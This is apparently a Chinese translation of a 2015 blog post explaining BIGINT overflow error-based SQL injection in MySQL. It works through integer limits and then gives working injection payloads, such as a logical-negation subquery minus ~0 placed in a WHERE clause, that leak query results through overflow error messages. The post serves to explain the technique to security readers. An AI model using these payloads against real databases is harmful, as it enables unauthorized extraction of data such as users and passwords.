基于BIGINT溢出错误的SQL注入

译者：mssp299

原文地址：https://osandamalith.wordpress.com/2015/07/08/bigint-overflow-error-based-sql-injection/

◆1 概述



我对于通过MySQL错误提取数据的新技术非常感兴趣，而本文中要介绍的就是这样一种技术。当我考察MySQL的整数处理方式的时候，突然对如何使其发生溢出产生了浓厚的兴趣。下面，我们来看看MySQL是如何存储整数的。

图片：2015081407574396355.png

(来源：http://dev.mysql.com/doc/refman/5.5/en/integer-types.html)

只有5.5.5及其以上版本的MySQL才会产生溢出错误消息，之下的版本对于整数溢出不会发送任何消息。

数据类型BIGINT的长度为8字节，也就是说，长度为64比特。这种数据类型最大的有符号值，用二进制、十六进制和十进制的表示形式分别为“0b0111111111111111111111111111111111111111111111111111111111111111”、“0x7fffffffffffffff”和“9223372036854775807”。 当对这个值进行某些数值运算的时候，比如加法运算，就会引起“BIGINT value is out of range”错误。

mysql> select 9223372036854775807+1;
ERROR 1690 (22003): BIGINT value is out of range in '(9223372036854775807 + 1)'

为了避免出现上面这样的错误，我们只需将其转换为无符号整数即可。

对于无符号整数来说，BIGINT可以存放的最大值用二进制、十六进制和十进制表示的话，分别为“0b1111111111111111111111111111111111111111111111111111111111111111”、“0xFFFFFFFFFFFFFFFF”和“18446744073709551615”。

同样的，如果对这个值进行数值表达式运算，如加法或减法运算，同样也会导致“BIGINT value is out of range”错误。

# In decimal
mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'
# In binary
mysql> select cast(b'1111111111111111111111111111111111111111111111111111111111111111' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'
# In hex
mysql> select cast(x'FFFFFFFFFFFFFFFF' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'

如果我们对数值0逐位取反，结果会怎么样呢？ 当然是得到一个无符号的最大BIGINT值，这一点是显而易见的。

mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

所以，如果我们对~0进行加减运算的话，也会导致BIGINT溢出错误。

mysql> select 1-~0;
ERROR 1690 (22003): BIGINT value is out of range in '(1 - ~(0))'
mysql> select 1+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~(0))'

◆02 注入技术



我的想法是，利用子查询引起BITINT溢出，从而设法提取数据。我们知道，如果一个查询成功返回，其返回值为0，所以对其进行逻辑非的话就会变成1，举例来说，如果我们对类似(select*from(select user())x)这样的查询进行逻辑非的话，就会有：

mysql> select (select*from(select user())x);
+-------------------------------+
| (select*from(select user())x) |
+-------------------------------+
| root@localhost |
+-------------------------------+
1 row in set (0.00 sec)
# Applying logical negation
mysql> select !(select*from(select user())x);
+--------------------------------+
| !(select*from(select user())x) |
+--------------------------------+
| 1 |
+--------------------------------+
1 row in set (0.00 sec)

是的，太完美了！ 所以说，只要我们能够组合好逐位取反和逻辑取反运算，我们就能利用溢出错误来成功的注入查询。

mysql> select ~0+!(select*from(select user())x);
ERROR 1690 (22003): BIGINT value is out of range in '(~(0) + (not((select 'root@localhost' from dual))))'

我们先不使用加法，因为“+”通过网页浏览器进行解析的时候，会被转换为空白符（不过，你可以使用%2b来表示“+”）。 相反，我们可以使用减法。所以说，同一种注入攻击，可以有完全不同的变种。 最终的查询语句如下所示。

!(select*from(select user())x)-~0
(select(!x-~0)from(select(select user())x)a)
(select!x-~0.from(select(select user())x)a)

举例来说，我们可以像下面一样，在一个查询语句中进行注入操作。

mysql> select username, password from users where id='1' or !(select*from(select user())x)-~0;
ERROR 1690 (22003): BIGINT value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'